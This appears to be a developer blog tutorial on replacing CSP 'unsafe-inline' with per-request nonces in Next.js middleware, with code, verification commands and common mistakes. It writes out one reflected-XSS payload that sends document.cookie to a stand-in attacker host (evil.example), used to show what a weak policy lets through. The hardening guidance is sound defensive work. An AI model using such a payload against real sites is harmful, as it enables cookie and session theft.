</>CodeWithKarani

CSP 'unsafe-inline' Is Not a Fix: Nonces That Work in Next.js

Karani GeoffreyKarani Geoffrey9 min read

Someone on the team runs a security scan. The report says "no Content-Security-Policy header". You add one, deploy to staging, open the app, and the console turns into a wall of red. Hydration is broken. Half the page never becomes interactive. Analytics is dead.

So you do what the first six search results tell you to do: add 'unsafe-inline' to script-src. The errors vanish. The scanner goes green. Everyone moves on.

Here is the thing nobody says out loud in those answers: 'unsafe-inline' in script-src does not relax your CSP, it removes the reason you added it. CSP's headline job is stopping injected script from executing. 'unsafe-inline' tells the browser to execute every inline script on the page without asking where it came from. You now have a header that satisfies a checklist and blocks nothing that matters.

do not add 'unsafe-inline' to script-src. Generate a fresh random nonce per request in Next.js middleware.ts (renamed to proxy.ts in Next.js 16), put it in both the Content-Security-Policy header and a custom request header, and let Next.js attach it to its own scripts.

  • script-src 'self' 'nonce-{random}' 'strict-dynamic' for production.
  • Add 'unsafe-eval' only when NODE_ENV === 'development'. React does not need it in production.
  • The nonce must be new on every single request. A value from an env var is exactly as weak as 'unsafe-inline'.
  • Nonce-based CSP forces dynamic rendering. Budget for that before you ship it.

The error: "Refused to execute inline script because it violates the following Content Security Policy directive"

This is what fills the console the moment you ship a CSP without thinking about inline scripts:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-AbCdEf...'), or a nonce ('nonce-...') is required to enable inline execution.

Read the second sentence carefully, because it is the source of the whole problem. The browser lists three ways out, in the order it happens to list them, with no indication that the first one is a category worse than the other two. People pick the first one. It is one word, it is copy-pasteable, and it works.

In a Next.js or React app you usually see this error dozens of times at once, because the framework injects inline bootstrap and hydration scripts to hand server-rendered state to the client. Blocking those does not just break analytics, it breaks the app.

Why 'unsafe-inline' is not a fix

A CSP is a set of rules the browser applies to every resource the page tries to load or run. For external scripts the rule is easy to enforce: the browser knows the URL, and it can compare it against the allowlist. For an inline <script> block there is no URL. There is nothing to compare. The script arrived inside the HTML document, and by the time the browser is looking at it, there is no record of whether your template put it there or whether it came in through an unescaped query parameter.

That is the entire point of the nonce and the hash. They give the browser a way to distinguish "script my server intended to send" from "script that happens to be in the HTML".

'unsafe-inline' deletes that distinction. It says: run every inline script, no questions. Consider a classic reflected XSS: a search page echoes the query into the DOM without escaping it, and the attacker sends a victim a link containing <script>fetch('https://evil.example/?c='+document.cookie)</script>. With script-src 'self', the browser refuses. With script-src 'self' 'unsafe-inline', that script is indistinguishable from your hydration script and it runs. Your header is still there. Your scanner still reports a CSP. The attack still works.

script-src 'self' 'unsafe-inline' <script> your hydration code </script> <script> injected: steal cookies </script> both execute script-src 'self' 'nonce-r7Kq...' <script nonce="r7Kq..."> hydration </script> <script> injected, no nonce </script> only the first executes Why the attacker cannot supply the nonce The payload is written into the request before the server generates the response. A per-request random value did not exist when the payload was composed, so it cannot be in it. A nonce stored in an env var breaks this: the attacker fetches the page once and reads it.
The nonce works because it is unguessable and short-lived, not because it is a nonce.

The mechanism: why a per-request nonce actually holds

The security property is timing, not cryptography. An injected payload is authored before your server produces the response. If the nonce is generated fresh during that response, the attacker had nothing to copy. Every inline script in the document that carries the matching nonce attribute runs; everything else is refused.

Break the timing and you break the protection. Two ways teams do this without noticing:

  • A nonce from an environment variable or config file. It is constant across requests, so an attacker loads your page once, reads nonce="..." out of the HTML, and includes it in the payload. This is 'unsafe-inline' with extra steps.
  • A nonce derived from something predictable, such as a timestamp or a counter. Use a CSPRNG. crypto.randomUUID() or crypto.getRandomValues() is right; Math.random() is not.

You also need 'strict-dynamic'. Next.js does not put every script inline; it loads chunks programmatically at runtime, and those dynamically created script elements do not inherit a nonce attribute you wrote in a template. 'strict-dynamic' says: a script that was already trusted (because it carried a valid nonce) may load further scripts. That is what keeps code splitting working under a strict policy. Be aware of the side effect: when 'strict-dynamic' is present, browsers ignore host allowlists in script-src, so adding https://cdn.example.com to the directive will silently do nothing. Third-party scripts have to be loaded with a nonce instead.

The fix, step by step

Step 1: Generate the nonce at the edge of the request

In Next.js 15 and earlier this is middleware.ts at the project root exporting a function called middleware. In Next.js 16 the file is proxy.ts and the export is called proxy; the logic is identical. I am showing the Next.js 16 form, so rename both if you are on 15.

// proxy.ts  (middleware.ts on Next.js 15 and earlier)
import { NextRequest, NextResponse } from 'next/server'

export function proxy(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
  const isDev = process.env.NODE_ENV === 'development'

  const cspHeader = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic'${isDev ? " 'unsafe-eval'" : ''};
    style-src 'self' ${isDev ? "'unsafe-inline'" : `'nonce-${nonce}'`};
    img-src 'self' blob: data:;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `.replace(/\s{2,}/g, ' ').trim()

  const requestHeaders = new Headers(request.headers)
  requestHeaders.set('x-nonce', nonce)
  requestHeaders.set('Content-Security-Policy', cspHeader)

  const response = NextResponse.next({ request: { headers: requestHeaders } })
  response.headers.set('Content-Security-Policy', cspHeader)
  return response
}

The nonce goes in three places: the response header the browser enforces, the request header Next.js reads while rendering, and a separate x-nonce header you can read from a Server Component. Next.js parses the nonce-{value} out of the CSP header on the request and attaches it to the framework runtime, the page bundles and its own generated inline scripts, so you do not have to annotate them yourself.

Step 2: Keep the proxy off static assets and prefetches

Running this on every asset request is wasted work and generates nonces nothing will use. Skip the paths that do not render HTML:

export const config = {
  matcher: [
    {
      source: '/((?!api|_next/static|_next/image|favicon.ico).*)',
      missing: [
        { type: 'header', key: 'next-router-prefetch' },
        { type: 'header', key: 'purpose', value: 'prefetch' },
      ],
    },
  ],
}

Step 3: Pass the nonce to third-party scripts explicitly

Anything you render yourself needs the nonce handed to it. Read it back from the header you set:

import { headers } from 'next/headers'
import Script from 'next/script'

export default async function Page() {
  const nonce = (await headers()).get('x-nonce')
  return (
    <Script
      src="https://www.googletagmanager.com/gtag/js"
      strategy="afterInteractive"
      nonce={nonce ?? undefined}
    />
  )
}

Step 4: Force dynamic rendering where the nonce is required

A nonce only exists if there is a request. A page prerendered at build time has no request and no nonce, so its inline scripts will be refused at runtime. Opt those pages into dynamic rendering:

import { connection } from 'next/server'

export default async function Page() {
  await connection()
  // ...
}

This is the real cost of nonce-based CSP and it deserves a decision rather than a shrug: static optimisation and ISR go away, CDN caching of the HTML goes away, and Partial Prerendering is incompatible because the static shell has no nonce. If your app is mostly public marketing pages, the experimental hash-based Subresource Integrity route (experimental.sri in next.config.js) keeps pages static. If your app is a logged-in dashboard that was already rendering dynamically, you lose almost nothing.

Step 5: Roll it out in report-only mode first

Send Content-Security-Policy-Report-Only with the identical value for a few days. The browser reports violations without blocking anything, so you find the marketing tag someone added in Tag Manager two years ago before it takes the checkout page down.

Verification

Three checks, in order.

1. The header is present and the nonce changes. Two requests must not produce the same value:

for i in 1 2; do
  curl -sI https://your-app.example/ | grep -i '^content-security-policy:'
done

You should see two lines with different 'nonce-...' values. Identical values mean the nonce is being cached or read from config, and the policy is worthless.

2. The nonce reached the HTML. The value in the header must appear on the script tags:

curl -s https://your-app.example/ | grep -o 'nonce="[^"]*"' | sort -u

3. The console is clean and inline injection is refused. Load the app with DevTools open. Zero CSP violations, full hydration. Then paste an inline script into the DOM from the console and confirm the browser refuses it with the message at the top of this article.

What people get wrong

Advice you will findWhat actually happens
Add 'unsafe-inline' to script-srcEvery injected inline script executes. The header is compliance theatre.
Store the nonce in an env var so it is "stable"Attacker reads it from your HTML once and reuses it forever.
Ship 'unsafe-eval' "just in case"Only React's dev build needs eval. Production React and Next.js do not.
Keep 'unsafe-inline' next to the nonce as a fallbackModern browsers ignore 'unsafe-inline' when a nonce or hash is present, so it is dead weight in practice, but it will still be flagged by every scanner and it does apply on browsers that only support CSP Level 1.
Set the CSP in next.config.js headers and add a nonceThe config file is evaluated at build time. It cannot produce a per-request value.

One more, specific to style-src: a lot of teams leave 'unsafe-inline' on styles permanently because a CSS-in-JS library injects style tags. That is a genuinely smaller risk than script injection, but it is not zero (CSS injection can exfiltrate data through attribute selectors and background image URLs). Treat it as a known gap with a ticket, not as fine.

When it is still broken

  1. Check for two CSP headers. If nginx adds one and the app adds another, the browser enforces the intersection of both, which is almost always stricter than you intended and produces violations that do not match the policy you are reading. Grep your proxy config; my nginx reverse proxy setup is a good place to check whether add_header is duplicating it.
  2. Confirm the CDN is not stripping or caching it. A cached HTML response carries a cached nonce, which means every visitor shares one, which means the protection is gone. Verify with the two-request curl above against the public URL, not localhost.
  3. Read the violation, not the summary. The console message names the directive that blocked the resource. A failure attributed to default-src means the specific directive is missing entirely, not that your script-src is wrong.
  4. Check whether the failing script is a browser extension. Extensions inject into the page and trip CSP constantly. Reproduce in a clean profile before you loosen anything.

Getting CSP right is one of the few security controls that costs you real architecture decisions rather than a config line, which is exactly why the shortcut is so popular. But a policy that permits every inline script is not a weaker policy, it is a different thing wearing the same header name. If you are also hardening the session layer, the same "do not disable the protection to make the error go away" logic applies to refresh token rotation in Auth.js.

Frequently asked questions

Is adding 'unsafe-inline' to my CSP ever acceptable?
For script-src, no, because it allows any inline script including one injected by an attacker, which removes CSP's main XSS protection while leaving the header in place. For style-src it is a materially smaller risk and many teams carry it temporarily while migrating off a CSS-in-JS library, but it still permits CSS-based data exfiltration through attribute selectors. Treat it as a tracked gap, never as done.
Why does my Next.js app break hydration when I add a Content-Security-Policy header?
Next.js injects inline bootstrap scripts that hand server-rendered state to the client. A CSP without a nonce or hash for those scripts makes the browser refuse them, so React never hydrates and the page stays static. The fix is generating a per-request nonce in middleware.ts (proxy.ts on Next.js 16) and including it in the CSP header, which Next.js then attaches to its own scripts automatically.
Can I store my CSP nonce in an environment variable?
No. A nonce only protects you because it is unpredictable and different on every request, so an attacker composing an injection payload cannot include it. A value from an environment variable is identical on every response, so an attacker loads the page once, reads the nonce out of the HTML, and puts it in the payload. That makes it exactly as weak as 'unsafe-inline'.
Do I need 'unsafe-eval' in my production CSP for React?
No. React uses eval in development to rebuild server-side error stacks for better debugging, and Next.js documents 'unsafe-eval' as a development-only requirement. Neither React nor Next.js use eval in production by default, so gate it behind a NODE_ENV check rather than shipping it. If you use WebAssembly you may need 'wasm-unsafe-eval', which is a narrower permission.
#Content Security Policy#Next.js#React#XSS#Web Security
Keep reading

Related articles